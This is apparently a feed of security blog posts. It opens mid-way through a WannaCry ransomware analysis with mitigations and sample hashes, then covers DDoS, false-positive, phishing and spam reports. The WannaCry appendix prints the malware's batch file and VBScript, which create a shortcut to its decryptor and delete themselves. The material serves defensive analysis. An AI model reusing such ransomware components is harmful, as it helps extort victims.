Quite essential in stopping these attacks is the Kaspersky System Watcher component. The System Watcher component has the ability to rollback the changes done by ransomware in the event that a malicious sample managed to bypass other defenses. This is extremely useful in case a ransomware sample slips paste defenses and attempts to encrypt the data on the disk.

System Watcher blocking the WannaCry attacks

Mitigation recommendations:

  1. Make sure that all hosts are running and have enabled endpoint security solutions.
  2. Install the official patch (MS17-010) from Microsoft, which closes the affected SMB Server vulnerability used in this attack.
  3. Ensure that Kaspersky Lab products have the System Watcher component enabled.
  4. Scan all systems. After detecting the malware attack as MEM:Trojan.Win64.EquationDrug.gen, reboot the system. Once again, make sure MS17-010 patches are installed.

Samples observed in attacks so far:

4fef5e34143e646dbf9907c4374276f5
5bef35496fcbdbe841c82f4d1ab8b7c2
775a0631fb8229b2aa3d7621427085ad
7bf2b57f2a205768755c07f238fb32cc
7f7ccaa16fb15eb1c7399d422f8363e8
8495400f199ac77853c53b5a3f278f3e
84c82835a5d21bbcf75a61706d8ab549
86721e64ffbd69aa6944b9672bcabb6d
8dd63adb68ef053e044a5a2f46e0d2cd
b0ad5902366f860f85b892867e5b1e87
d6114ba5f10ad67a4131ab72531f02da
db349b97c37d22f5ea1d1841e3c89eb4
e372d07207b4da75b3434584cd9f3450
f529f4556a5126bba499c26d67892240

Kaspersky Lab detection names:

Trojan-Ransom.Win32.Gen.djd
Trojan-Ransom.Win32.Scatter.tr
Trojan-Ransom.Win32.Wanna.b
Trojan-Ransom.Win32.Wanna.c
Trojan-Ransom.Win32.Wanna.d
Trojan-Ransom.Win32.Wanna.f
Trojan-Ransom.Win32.Zapchast.i
PDM:Trojan.Win32.Generic

Kaspersky Lab experts are currently working on the possibility of creating a decryption tool to help victims. We will provide an update when a tool is available.

Appendix

Batch file

@echo off
echo SET ow = WScript.CreateObject("WScript.Shell")> m.vbs
echo SET om = ow.CreateShortcut("C:\Users\ADMINI~1\AppData\Local\Temp\@WanaDecryptor@.exe.lnk")>> m.vbs

echo om.TargetPath = "C:\Users\ADMINI~1\AppData\Local\Temp\@WanaDecryptor@.exe">> m.vbs

echo om.Save>> m.vbs
cscript.exe //nologo m.vbs
del m.vbs
del /a %0

m.vbs

SET ow = WScript.CreateObject("WScript.Shell")
SET om = ow.CreateShortcut("C:\Users\ADMINI~1\AppData\Local\Temp\@WanaDecryptor@.exe.lnk")
om.TargetPath = "C:\Users\ADMINI~1\AppData\Local\Temp\@WanaDecryptor@.exe"
om.Save

DDOS attacks in Q1 2017

Malware Alerts - Thu, 05/11/2017 - 05:00

News Overview

Thanks to IoT botnets, DDoS attacks have finally turned from something of a novelty into an everyday occurrence. According to the A10 Networks survey, this year the ‘DDoS of Things’ (DoT) has reached critical mass – in each attack, hundreds of thousands of devices connected to the Internet are being leveraged.

The fight against this phenomenon is just beginning – IoT equipment vendors are extremely slow to strengthen information security measures in their own products. However, certain successes have been achieved in combating attackers behind the DDoS of Things. The well-known info security journalist Brian Krebs managed to identify the author of the infamous IoT malware Mirai. In the UK, the author of an attack on Deutsche Telekom was arrested. According to the charges, he allegedly assembled an IoT botnet from routers in order to sell access to it. He faces up to 10 years in prison in Germany.

Cheaper DoS tools and a growth in their number has caused an inevitable increase in the number of attacks on notable resources. For instance, unknown attackers took down the site of the Austrian Parliament, as well as more than a hundred government servers in Luxembourg. No one took responsibility for the attacks and no demands were made, which may mean the attacks were a test run, or simply hooliganism.

Plans by supporters of the Democratic Party to launch a massive attack on the White House site as a protest against the election of Donald Trump the US president came to nothing – there were no reports of problems with the site. Nevertheless, DDoS attacks have taken root in the US as a type of political protest. Two weeks before the inauguration, the conservative news site Drudge Report, which actively supported Trump during the election campaign, was attacked.

Law enforcement agencies took notice of this alarming trend, and the US Department of Homeland Security eventually stepped in to provide protection from DDoS attacks. The Department declared it aimed to “build effective and easily implemented network defenses and promote adoption of best practices by the private sector” in order “to bring about an end to the scourge of DDoS attacks.”

However, the main goal of the DDoS authors is still to make money. In this respect, banks and broker companies remain the most attractive targets. DDoS attacks are capable of causing such serious material and reputational damage that many organizations prefer to pay the cybercriminals’ ransom demands.

Trends of the quarter

There’s usually a distinct lull in DDoS attacks at the beginning of the year. This may be due to the fact that the people behind these attacks are on vacation, or perhaps there’s less demand from their customers. In any case, this trend has been observed for the last five years – Q1 is off season. The first quarter of this year was no exception: Kaspersky Lab’s DDoS prevention group recorded very low attack activity. This was in stark contrast to the fourth quarter of 2016. However, despite the now habitual downturn, Q1 of 2017 saw more attacks than the first quarter of 2016, which confirms the conclusion that the overall number of DDoS attacks is growing.

Due to the traditional Q1 lull, it’s too early to talk about any trends for 2017; however, a few interesting features are already noticeable:

  1. 1. Over the reporting period, not a single amplification-type attack was registered, although attacks to overload a channel without amplification (using a spoofed IP address) were in constant use. We can assume that amplification attacks are no longer effective and are gradually becoming a thing of the past.

  2. 2. The number of encryption-based attacks has increased, which is in line with last year’s forecasts and current trends. However, this growth cannot as yet be called significant.

As we predicted, complex attacks (application-level attacks, HTTPS) are gaining in popularity. One example was the combined attack (SYN + TCP Connect + HTTP-flood + UDP flood) on the Moscow stock exchange. A distinct feature of this attack was its rare multi-vector nature in combination with relatively low power (3 Gbps). To combat such attacks, it’s necessary to use the latest complex protection mechanisms.

Yet another unusual attack affected the site of the Portuguese police force. A notable feature of this attack was the use of vulnerabilities in reverse proxy servers to generate attack traffic. We assume the cybercriminals were trying to disguise the real source of the attack; and to generate traffic, new types of botnets were used, consisting of vulnerable reverse proxies.

On the whole, Q1 2017 didn’t bring any surprises. In the second quarter, we expect to see a gradual increase in the proportion of distributed attacks. Based on the next quarter’s results, it may be possible to get an idea of what we will face in 2017. For now, we can only guess.

Statistics for botnet-assisted DDoS attacks Methodology

Kaspersky Lab has extensive experience of combating cyber threats, including DDoS attacks of various types and complexity. The company’s experts monitor botnet activity with the help of the DDoS Intelligence system. DDoS Intelligence (part of Kaspersky DDoS Protection) is designed to intercept and analyze commands sent to bots from command and control (C&C) servers, and does not have to wait until user devices are infected or cybercriminal commands are executed in order to gather data.

This report contains the DDoS Intelligence statistics for the first quarter of 2017.

In the context of this report, a single (separate) DDoS attack is defined as an incident during which any break in botnet activity lasts less than 24 hours. If the same web resource was attacked by the same botnet after a break of more than 24 hours, this is regarded as a separate DDoS attack. Attacks on the same web resource from two different botnets are also regarded as separate attacks.

The geographic distribution of DDoS victims and C&C servers is determined according to their IP addresses. In this report, the number of DDoS targets is calculated based on the number of unique IP addresses reported in the quarterly statistics.

It is important to note that DDoS Intelligence statistics are limited to those botnets detected and analyzed by Kaspersky Lab. It should also be noted that botnets are just one of the tools used to carry out DDoS attacks; therefore, the data presented in this report does not cover every DDoS attack that has occurred within the specified time period.

Q1 Summary
  • Resources in 72 countries (vs. 80 in Q4 2016) were targeted by DDoS attacks in Q1 2017.
  • 47.78% of targeted resources were located in China which is significantly lower than the previous quarter (71.60%).
  • China, South Korea and the US remained leaders in terms of both number of DDoS attacks and number of targets, while the Netherlands replaced China in terms of number of detected servers.
  • The longest DDoS attack in Q1 2017 lasted for 120 hours – 59% shorter than the previous quarter’s maximum (292 hours). A total of 99.8% of attacks lasted less than 50 hours.
  • The proportion of attacks using TCP, UDP and ICMP grew considerably, while the share of SYN DDoS declined from 75.3% in Q4 2016 to 48% in the first quarter of 2017.
  • For the first time in a year, activity by Windows-based botnets has exceeded that of Linux botnets, with their share increasing from 25% last quarter to 59.8% in Q1 2017.
Geography of attacks

In Q1 2017, the geography of DDoS attacks narrowed to 72 countries, with China accounting for 55.11% (21.9 p.p. less than the previous quarter). South Korea (22.41% vs. 7.04% in Q4 2016) and the US (11.37% vs. 7.30%) were second and third respectively.

The Top 10 most targeted countries accounted for 95.5% of all attacks. The UK (0.8%) appeared in the ranking, replacing Japan. Vietnam (0.8%, + 0.2 p.p.) moved up from seventh to sixth, while Canada (0.7%) dropped to eighth.

Distribution of DDoS attacks by country, Q4 2016 vs. Q1 2017

Statistics for the first quarter show that the 10 most targeted countries accounted for 95.1% of all DDoS attacks.

Distribution of unique DDoS attack targets by country, Q4 2016 vs. Q1 2017

Similar to the ranking for attack numbers, targets in China received much less attention from cybercriminals in Q1 2017 – they accounted for 47.78% of attacks, although China still remained the leader in this respect. In fact, the top three remained unchanged from the previous quarter despite dramatic growth in South Korea’s share (from 9.42% to 26.57%) and that of the US (from 9.06% to 13.80%).

Russia (1.55%) fell from fourth to fifth place, after its share fell by just 0.14 p.p. Hong Kong took its place (+ 0.35 p.p.). Japan and France were replaced in the Top 10 by the Netherlands (0.60%) and the UK (1.11%).

Changes in DDoS attack numbers

In Q1 2017, the number of attacks per day ranged from 86 to 994. Most attacks occurred on 1 January (793 attacks), 18 February (994) and 20 February (771). The quietest days of Q1 were 3 February (86 attacks), 6 February (95), 7 February (96) and 15 March (91). The overall decline in the number of attacks from the end of January to mid-February, as well as the downturn in March, can be attributed to the decrease in activity by the Xor.DDoS bot family, which made a significant contribution to the statistics.

Number of DDoS attacks over time* in Q1 2017

* DDoS attacks may last for several days. In this timeline, the same attack may be counted several times, i.e. one time for each day of its duration.

The distribution of DDoS activity by day of the week saw little change from the previous quarter. Saturday was the busiest day of the week in Q1 for DDoS attacks (16.05% of attacks). Monday remained the quietest day of the week (12.28%).

Distribution of DDoS attack numbers by day of the week, Q4 2016 and Q1 2017

Types and duration of DDoS attacks

In the first quarter of 2017, there was a sharp increase in the number and proportion of TCP DDoS attacks – from 10.36% to 26.62%. The percentage of UDP and ICMP attacks also grew significantly – from 2.19% to 8.71% and from 1.41% to 8.17% respectively. Meanwhile, the quarter saw a considerable decline in the share of SYN DDoS (48.07% vs. 75.33%) and HTTP (from 10.71% to 8.43%) attacks.

The increase in the proportion of TCP attacks was due to greater bot activity by the Yoyo, Drive and Nitol families. The growth in ICMP attacks is the result Yoyo and Darkrai activity. Darkrai bots also began conducting more UDP attacks, which was reflected in the statistics.

Distribution of DDoS attacks by type, Q4 2016 and Q1 2017

In the first quarter of 2017, few attacks lasted more than 100 hours. The biggest proportion of attacks lasted no more than four hours – 82.21%, which was 14.79 p.p. more than in the previous quarter. The percentage of even longer attacks decreased considerably: the share of attacks lasting 50-99 hours accounted for 0.24% (vs. 0.94% in Q4 2016); the share of attacks that lasted 5-9 hours decreased from 19.28% to 8.45%; attacks lasting 10-19 hours fell from 7% to 5.05%. Meanwhile, the proportion of attacks that lasted 20-49 hours grew slightly – by 1 p.p.

The longest DDoS attack in the first quarter lasted for only 120 hours, 172 hours shorter than the previous quarter’s maximum.

Distribution of DDoS attacks by duration (hours), Q4 2016 and Q1 2017

C&C servers and botnet types

In Q1, the highest number of C&C servers was detected in South Korea: the country’s contribution increased from 59.06% in the previous quarter to 66.49%. The US (13.78%) came second, followed by the Netherlands with 3.51%, which replaced China (1.35%) in the Top 3 countries hosting the most C&C servers. The total share of the three leaders accounted for 83.8% of all detected C&C servers.

The Top 10 also saw considerable changes. Japan, Ukraine and Bulgaria left the ranking and were replaced by Hong Kong (1.89%), Romania (1.35%) and Germany (0.81%). Of special note was China’s sharp decline: the country dropped from second place to seventh.

Distribution of botnet C&C servers by country in Q1 2017

The distribution of operating systems changed drastically in Q1: Windows-based DDoS bots surpassed the trendy new IoT bots, accounting for 59.81% of all attacks. This is the result of growing activity by bots belonging to the Yoyo, Drive and Nitol families, all of which were developed for Windows.

Correlation between attacks launched from Windows and Linux botnets, Q4 2016 and Q1 2017

The majority of attacks – 99.6% – were carried out by bots belonging to a single family. Cybercriminals launched attacks using bots from two different families in just 0.4% of cases. Attacks involving bots from three families were negligible.

Conclusion

Although the first quarter of 2017 was rather quiet compared to the previous reporting period, there were a few interesting developments. Despite the growing popularity of IoT botnets, Windows-based bots accounted for 59.81% of all attacks. Meanwhile, complex attacks that can only be repelled with sophisticated protection mechanisms are becoming more frequent.

In Q1 2017, not a single amplification attack was recorded, which suggests that their effectiveness has declined. We can assume that this type of attack is gradually becoming a thing of the past. Another trend evident this quarter is the rise in the number of encryption-based attacks. However, it cannot be described as significant yet.

False Positives: Why Vendors Should Lower Their Rates and How We Achieved the Best Results

Malware Alerts - Wed, 05/10/2017 - 10:14

In pursuit of a high cyberthreat detection rate, the some developers of cybersecurity solutions neglect the subject matter of false positives, and unfairly so. Indeed, this is a very inconvenient matter that some developers tend to overlook (or try to solve with questionable methods) until there is a serious incident that could paralyze the work of their customers. Unfortunately, such incidents do happen. Regretfully, only then does the idea dawn on these developers that high-quality protection from cyberthreats involves not only prevention but also a low false-positive rate.

While the minimizing the false positive rate may seem simple enough, it has, as a matter of fact, a multitude of intricacies and snags that demand significant investments, technological maturity, and resources from cybersecurity developers.

The two main reasons of false positives are:

  1. software, hardware, and human errors that all stem from the developer of the product, and
  2. the diversity of legitimate (“clean”) software that is being inspected.

The latter reason needs to be clarified.

It’s no secret that programs are written globally by millions of people with a plethora of varied qualifications (from students to experts), using various platforms and adhering to different standards. Every author has his own unique style, which sometimes leads to a situation where the program code resembles a malicious code. This triggers protection technologies, especially those that are based upon low-level binary analysis using different approaches including machine learning.

Without taking into account this peculiarity, and without implementing special technologies to minimize the occurrence of false positives, cybersecurity developers risk ignoring the “first, do not harm” principle. This, in its turn, leads to disastrous consequences (especially for large corporate customers), which can be compared to damage caused by cyberattacks.

For more than twenty years, Kaspersky Lab has been working on processes for development and testing as well as on creating technologies that minimize the rate of false positives. We take pride in having one of the best results in the industry (see tests performed by AV-Comparatives, AV-Test.org or SE Labs) for false alarms, and we are glad to further expand on several specifics of our inner workings. I am sure that this information will allow users and corporate customers to have a more reasonable approach in selecting a cybersecurity solution. Additionally, cybersecurity developers will be able to improve and refine their processes to match the level of the world’s best practices.

We use a triple-tier quality-control system to minimize the rate of false positives, including:

  1. quality control at the design stage,
  2. quality control upon the release of a detection method, and
  3. quality control of released detection methods.

This system is being continuously improved with the help of various preventive measures.

Let us review each tier of the system in greater detail.

Quality control at the design stage

One of our fundamental principles in software development is that each technology, product, or process must contain mechanisms for minimizing the risk of false positives and consequential faults that result from them. Mistakes at the design stage turn out to be the most costly, as correcting them comprehensively may require rewriting an entire algorithm. This is why, with our years of experience, we have produced our own best practices that have allowed to decrease the rate of false positives.

For example, when developing or improving machine learning-based cyberthreat detection technology, we make sure that the technology has been learning from considerable collections of clean files with different formats. Our knowledge base for clean files (a whitelist) assists us with that. The contents of the whitelist have already exceeded 2 billion objects and are constantly collaboratively updated.

During our work, we also make sure that training and test collections of each technology are regularly updated with the most recent versions of clean files. Additionally, our products contain built-in features that minimize false positives for critical system files. Aside from that, at each detection, the product utilizes the Kaspersky Security Network (KSN) to consult the whitelist database and the certificate-reputation service to confirm that the detected file is not a clean one.

However, technologies and products aside, there is also a human factor.

A cybersecurity analyst, a developer of an expert system, or a data analyst might make mistakes at any stage. So, there is room for miscellaneous blocking checks by additional automated systems.

Quality control at the release of a detection method

Before the delivery to users, new methods of cyberthreat detection pass several more test stages.

The greatest protective barrier is the infrastructure system for false positive testing, which works with two collections.

The first collection, which is a critical set, comprises files that are taken from popular operating systems (released for different platforms with different localizations), updates of those systems, office applications, drivers, and our own products. This set of files is routinely supplemented.

The second collection contains a dynamically formed set of files, which includes the most popular files. The size of this collection is chosen by finding a balance between the volume of scanned files (as a consequence, the number of servers), the run time of this scan (hence, the time of delivery of detection methods to users), and the number of potentially affected computers in case of a false positive.

For the time being, the number of files in both collections surpasses 120 million (this is approximately 50 TB of data). Considering the fact that these files are scanned every hour after each release of the database updates, we may infer that the infrastructure checks over 1.2 PB of data for false positives each day.

More than 10 years ago, we were among the first ones in the field of cybersecurity to implement non-signature-based methods of detection that leveraged behavioral analysis, machine learning, and other promising generic technologies. These methods have proven their effectiveness, especially in overcoming sophisticated cyberthreats. However, they require particularly thorough testing for false positives.

For example, behavioral detection allows for the neutralization of a malicious application that has manifested some traits of a malicious behavior during its operation. In order to prevent a false positive for the behavior of clean files, we have created a “farm” of computers, which bring about various user scenarios.

The “farm” offers different combinations of operating systems and popular software. Before releasing each new non-signature-based detection method, we dynamically check it at this “farm” with standard and unique scenarios.

Last but not least, cybersecurity developers should also pay attention to test their web scanners for false positives. A website blocked by mistake can also disrupt the work of a customer, which is not acceptable.

To minimize the number of such incidents, we have developed automated systems to download up-to-date content daily from 10,000 of the most popular websites and scan this content to test for false positives. The most accurate results are achieved by using the most popular versions of common browsers and by using proxies in different geo locations to exclude location-dependent content.

Quality control of released detection methods

Detection methods that have been delivered to users are monitored day and night by the automated systems, which monitor the methods for any behavioral anomalies.

The thing is the dynamics of a detection that triggers a false positive often differs from the dynamics of a detection of a genuinely malicious file. Our genuine automated system monitors these anomalies, and if there is something suspicious, then the system will request an analyst to run an additional check for this detection. If suspicions are very strong, then our automated system turns off the detection method through KSN and immediately informs analysts about it. In addition, there are three teams of cybersecurity analysts on duty in Seattle, Beijing, and Moscow who work shifts around the clock to monitor the situation and quickly resolve emerging incidents. This is Humachine Intelligence in action.

In addition to detecting anomalies, the automated systems monitor performance data, errors in module operation, and potential problems based on diagnostic data received from users over KSN. This allows us to detect potential problems at early stages and eliminate them before their effect becomes noticeable for users.

In case the incident has occurred after all and cannot be closed by disabling an individual detection method, then urgent actions are taken to rectify the situation and allow the problem to be solved quickly and effectively. In this case, we may roll back the databases to a stable release that does not require any additional testing. To be honest, we have not resorted to this method in practice, as there has been no occasion for that thus far. In fact, we’ve only ever used it during our training exercises.

Speaking of training exercises…

Prevention is better than a cure

Not everything can be foreseen, and even if every eventuality were provided for, it would be good to know how certain measures would work in practice. Waiting for a real incident to happen isn’t necessary, as there is always the option of modeling.

Periodically, we conduct internal training exercises to confirm the “combat readiness” of our staff and the effectiveness of our methods for preventing false positives.

The training exercises are focused on full-blown imitation of diverse emergency scenarios in order to see if all of the systems and experts act according to plan. Several divisions of technical and service departments are simultaneously involved in the training exercises. These exercises are scheduled for a weekends and are based on a scrupulously thought-out scenario.

After training, we analyze each division for its performance, improve the documentation and implement changes for the involved systems and processes.

Sometimes during the training process, we discover new risks that had previously gone unnoticed. A more systematic discovery of those risks is achieved through brainstorming potential problems in the areas of technologies, processes and products. After all, technologies, processes, and products are constantly being developed, and any change brings about new risks.

Finally, we work systematically on eradicating root causes for all of the incidents, risks, and problems that were uncovered during our training exercises.

It goes without saying that all of the systems that are responsible for quality control are duplicated and are maintained day and night by the team of experts on duty. A fault in any one system will lead to transitioning over to a duplicate system while the fault itself is immediately addressed.

Conclusion

False positives cannot be avoided completely, but it is possible to lower their rate considerably to minimize their aftermath. This does require substantial investments, technological maturity, and resources from developers of cybersecurity solutions. Yet, these efforts provide a smooth experience for our users and corporate clients. These efforts are imperative and are within the scope of duties of each reliable developer.

Reliability is our creed. Instead of relying on one protection technology, we employ a multi-tier security approach. Protection against false positives is arranged in the same way – it is multi-tiered and duplicated multiple times. There is no other way since we are talking about the high-quality protection of our customers’ infrastructure.

At the same time, we succeed in finding and maintaining the optimal balance between the highest level of protection against cyberthreats and the the lowest level of false positives. This is confirmed by the results of independent tests in 2016: AV-Test.org, a German test laboratory, gave Kaspersky Endpoint Security eight awards at the same time, including Best Protection 2016 and Best Usability 2016.

In conclusion, I would like to note that high quality is not a result that ought to be achieved only once. This is a process that requires constant supervision and improvement, especially where the price of a possible mistake means the disruption of a customer’s business processes.

CEO Fraud

SANS Tip of the Day - Fri, 05/05/2017 - 01:00
CEO Fraud is a type of targeted attack. It commonly involves a cyber criminally pretending to be your boss, then tricking or fooling you into sending the criminal highly sensitive information or initiating a wire transfer. Be highly suspicious of any emails demanding immediate action and/or asking you to bypass any security procedures.

Clash of Greed

Malware Alerts - Thu, 05/04/2017 - 04:57

In 2015, the game Clash of Clans was bringing in about 1.5 million dollars per day for its developer, Supercell. Later on, the company launched a new project, Clash Royale, after addressing the flaws of their first game and implementing battles with real players into the new game, which shares the same characters and the same cartoonish design as the first project. Yet, the more popular game is, the higher the probability that fraudsters will be looking to make a fortune on that popularity by, for example, organizing phishing attacks on the player base.

The money-making model for both of the games has been thoroughly thought-out: anyone can play without investing real money. But this would mean putting a lot of effort into the games and losing more often to other players who basically purchase and upgrade either rare and strong cards with extremely low drop rates or battle units and building levels (when talking about Clash of Clans). In this regard, the majority of the game’s players do not have much money but are full of ambition. These players often seek not-so-legal ways to procure and upgrade rare cards to put less effort into winning battles and ranking up to play in the premier leagues.

This has been exploited by fraudsters, who subtly abuse human foibles such as cupidity, love for freebies, and the desire to be the top player. Phishing attacks, though always quite similar in their nature, are very competently planned. Phishing websites are designed with holidays in mind (either New Year’s Eve or Christmas) or are linked to game updates that include additions to the game or changes in the game’s mechanics (new cards, units, balancing, etc.).

Here, for example, is the headline of a phishing website targeted at Clash of Clans players. It was designed specially for New Year’s Eve, and, according to the published description, the developer of the game supposedly gives out New Year’s gifts to players, including game currency, building level upgrades, etc.

The address of the website contains the phrase “eventchristmasandnewyear”, which makes the website look even more credible.

Victims can choose what they want from a list that includes gold, crystals, resources, and building upgrades.

The intention of the fraudsters becomes obvious as early as at the next step, where victims are prompted fill out a form by entering the credentials of their Google and Facebook accounts. After that, these credentials are passed on to the fraudster and the victims are robbed of both of their accounts.

The form created by the fraudsters offers “authorization” with Google and Facebook credentials

Also, fraudsters reacted quickly to the release of the latest updates, which included new battle arenas and legendary cards. On behalf of Supercell, players were offered their choice of one of the “legendaries”, as well as gold and crystals. Of course, in order to obtain these, Google and Facebook credentials were required.

One of their recent releases was “a gift from the developers”, which gives the player the option of selecting their desired hero or resources

Input fields for credentials

After sending the credentials, the victim receives a message to confirm their registration. It can be assumed that the evildoers may need this to ascertain the authenticity of the user-specified credentials.

To avoid falling victim to this fraudulent scheme, it is a good idea to follow these simple rules: do not use any links from social network groups, especially if the groups are not official, or from e-mail messages received from unknown users, even though they may promise you progress in the game or imminent profit. It certainly couldn’t hurt to install good security software that features anti-phishing functionality with database updates on malicious and phishing links that cover every subject. If the “free lunch” being offered proves to be too tempting, then go to the game developer’s official website and verify whether the holiday offer is genuine.

Spam and phishing in Q1 2017

Malware Alerts - Tue, 05/02/2017 - 04:57

Spam: quarterly highlights Spam from the Necurs botnet

We wrote earlier about a sharp increase in the amount of spam with malicious attachments, mainly Trojan encryptors. Most of that spam was coming from the Necurs botnet, which is currently considered the world’s largest spam botnet. However, in late December 2016, the network’s activity almost ceased completely and, as time showed, it wasn’t just a break for the festive season. The volume of spam sent from this botnet remained at an extremely low level for almost the entire first quarter of 2017.

In Q1 2017, the percentage of spam in email traffic amounted to 55.9%.

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Why has Necurs stopped distributing spam? We know that the botnet is active and the bots are waiting for commands. Perhaps the criminals behind the botnet got scared by all the fuss made about encryptors and decided to temporarily suspend their mass mailings.

We still continue to register malicious mass mailings from what is presumably the Necurs botnet, though their volume is a fraction of the amount recorded in December:

The number of malicious messages caught by our traps that were presumably sent by the Necurs botnet

As before, the emails usually imitate various types of bills and other official documents:

The email above contained an attached MSWord document with macros that downloaded the Rack family encryptor (detected as Trojan.NSIS.Sod.jov) to the victim machine.

In addition to malicious mailings from the botnet, we came across a mass mailing about pump-and-dump stock schemes:

As a rule, mass mailings exploiting this subject are distributed in huge volumes over a very short period of time. This is because the fraudsters have to pump and dump shares quickly, before their scams are discovered on the stock exchange. This type of stock fraud is against the law, so cybercriminals try to wind up the affair within a couple of days. The Necurs botnet is ideal for this sort of scam due to its size – according to estimates, it currently exceeds 200,000 bots.

The average share of spam in Russia’s email traffic in Q1 2017 was 61.6%.

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Does this sharp drop mean we have reached peak crypto-spam mass mailing and it’s about to disappear? Unfortunately, no.

The total volume of malware detected in email decreased, but not that dramatically – 2.4 times less than the previous quarter.

The number of email antivirus detections, Q4 2016 vs Q1 2017

Malicious mass mailings are still being sent out and, although their volume has decreased, cybercriminals are using a variety of techniques to deceive both security solutions and users.

Malicious emails with password-protected archives

In the first quarter we observed a trend towards packing malware into password-protected archives to complicate detection of malicious emails.

All the classic tricks were used to make potential victims open the archives: fake notifications about orders from large stores, various bills, money transfers, resumes, or the promise of lots of money.

The attached archives usually contained office documents with macros or JavaScript scripts. When launched, the files downloaded other malicious programs on the user’s computer. Interestingly, after the decline in Necurs botnet activity, the harmful “payload” that spread via spam became much more diverse. The cybercriminals sent out ransomware and spyware, backdoors and a new modification of the infamous Zeus Trojan.

The attachments above contain Microsoft Word documents with macros that download several different modifications of a Trojan encryptor belonging to the Cerber family from onion domains in different zones. This malicious program selectively encrypts data on the user’s computer and demands a ransom for decrypting it via a site on the Tor network.

The archive in the message above contains the Richard-CV.doc file with macros that downloads representatives of the Fareit spyware family from the onion.nu domain. These malicious programs collect confidential information about the user and send it to the remote server.

There was yet another case involving downloadable spyware, this time from the Pinch family. The Trojan collects passwords, email addresses, information about the system configuration and registry settings. Among other things, it harvests information from instant messaging services and mail clients. The obtained data is encrypted and sent to the criminals by email. According to our information received from KSN, the program is most widespread in Russia, India and Iran.

Most email antivirus detections occurred in China – 18% of all spam.

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It’s worth pointing out that this spyware was spread using fake business correspondence. Emails were sent out using the names of real small and medium businesses with all the relevant signatures and contacts, rather than using the name of some made-up organization.

Unlike other emails, the example above does not contain a password-protected archive. The request to enter a password is just a trick: the fraudsters want the user to enable Microsoft Word macros to run the malicious script.

The contents of the email above include a password-protected document with a script in Visual Basic that downloads the Andromeda bot on the victim machine. The latter establishes a connection with the command center and waits for commands from the owners. It has broad functionality and can download other malicious programs on the user’s computer.

This fake notification from an e-store contains a malicious script. On entering the password and launching the malicious content, the Receipt_320124.lnk file is created in the %TEMP% catalogue. It, in turn, downloads a Trojan-banker of the Sphinx family, which is a modification of the older and infamous Zeus, on the victim computer.

As we can see, very different mass mailings with malicious attachments now contain files packed in a password-protected archive. Most likely, this trend will continue: a password-protected document is likely to appear more trustworthy to the user, while causing problems for security solutions.

Spam via legal services

Modern virtual platforms for communication (messengers, social networks) are also actively used by spammers to spread advertising and fraudulent offers. Cybercriminals register special accounts for spamming in social networks and to make their messages look more authentic they use techniques similar to those used in traditional mass mailings (for example, the personal data from the account and that sent in the email are the same). The same type of spam, for example, ‘Nigerian letters’, offering earnings, etc. can be distributed via email traffic and social networks. A notification about a message is usually sent to the recipient’s email address; in this case, the technical header of the email is legitimate, and it is only possible to detect the spam by the contents of the message. Spam distributed directly via email, can be easily detected by technical headers. The same cannot be said for messages sent via legitimate services, especially if the address of the service is added to the user’s list of trusted addresses.

Today’s email spam filters can cope effectively with the task of detecting spam that is sent in the traditional way, so spammers are forced to look for new methods to bypass filters.

Holidays and spam

The first quarter of 2017 saw festive spam dedicated to New Year, St. Patrick’s Day, Easter and Valentine’s Day. Small and medium-sized businesses advertised their services and products and offered holiday discounts. Offers from Chinese factories were timed to coincide with the Chinese New Year, which was celebrated in mid-February.

Spammers also sent out numerous offers to participate in a survey and get coupons or gift cards from major online stores, hoping to collect the recipients’ personal information and contact details.

Burst of B2B spam

In the first three months of 2017, we also recorded a large number of mass mailings containing offers to buy company databases from specific industries. This type of spam remains popular with spammers and primarily targets companies or individual representatives of large businesses rather than ordinary users. Therefore, these messages are sent mainly to people or companies from a list of contacts or addresses for a particular business segment that is obtained, as a rule, in the same way – via spam.

The offers are sent on behalf of firms or their representatives, but they are often completely impersonal.

Spammers have databases of companies for any business segment, as well as the contact details of participants at major exhibitions, seminars, forums and other events. To make recipients interested in their offers, spammers often send several free contacts from their collections.

Statistics Proportion of spam in email traffic

Percentage of spam in global email traffic, Q4 2016 and Q1 2017

Compared to Q4 2016, there was a decline in the overall proportion of spam in global email traffic in the first three months of 2017. In January, the proportion fell to 55.05%, while in February the share was even lower – 53.4%. However, in March the level of spam showed an upward trend, rising to 56.9%. As a result, the average share of spam in global email traffic for the first quarter of 2017 was 55.9%.

Percentage of spam in Russia’s email traffic, Q4 2016 and Q1 2017

The spam situation in the Russian segment of the Internet was somewhat different from the global one. In January 2017, the proportion of junk email increased to almost 63% and stayed in the 60-63% range until the end of the quarter. In February, as was the case with overall global traffic, there was a decline – to 60.35% – followed by an increase to 61.65% in March. The average share of spam in Russian email traffic in the first quarter of 2017 was 61.66%.

Sources of spam by country

Sources of spam by country, Q1 2017

In the first quarter of 2017, the US remained the leading source of spam – its share accounted for 18.75%. Representatives from the Asia-Pacific region – Vietnam (7.86%) and China (7.77%) – came second and third.

Trojan-Downloader.JS.Agent remained the most popular malware family spread via email.

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Germany was the fourth biggest source, responsible for 5.37% of world spam, followed by India (5.16%). Russia, in sixth place, accounted for 4.93% of total spam.

The top 10 biggest sources also included France (4.41%), Brazil (3.44%), Poland (1.90%) and the Netherlands (1.85%).

Spam email size

Breakdown of spam emails by size, Q4 2016 and Q1 2017

In Q1 2017, the share of small emails (up to 2 KB) in spam traffic decreased considerably and averaged 29.17%, which is 12.93 p.p. less than in the fourth quarter of 2016. The proportion of emails sized 2–5 KB (3.74%) and 5–10 KB (7.83%) also continued to decline.

Meanwhile, the proportion of emails sized 10-20 KB (25.61%) and 20-50 KB (28.04%) increased. Last year’s trend of fewer super-short spam emails and more average-sized emails has continued into 2017.

Malicious attachments in email Top 10 malware families

Trojan-Downloader.JS.Agent (6.14%) once again topped the rating of the most popular malware families. Trojan-Downloader.JS.SLoad (3.79%) came second, while Trojan-PSW.Win32.Fareit (3.10%) completed the top three.

TOP 10 malware families in Q1 2017

The Backdoor.Java.Adwind family (2.36%) in fifth place is a cross-platform multifunctional backdoor written in Java and sold on DarkNet as malware-as-a-service (MaaS). It is also known under the names of AlienSpy, Frutas, Unrecom, Sockrat, JSocket, and jRat. It is typically distributed via email as a JAR attachment.

A newcomer – Trojan-Downloader.MSWord.Cryptoload (1.27%) – occupied ninth place. It’s a JS script containing malware, which it installs and runs on the computer.

Trojan-Downloader.VBS.Agent (1.26%) rounded off the Top 10.

Countries targeted by malicious mailshots

Distribution of email antivirus verdicts by country, Q1 2017

In Q1 2017, China (18.23%) was the country targeted most by malicious mailshots. Germany, last year’s leader, came second (11.86%), followed by the UK (8.16%) in third.

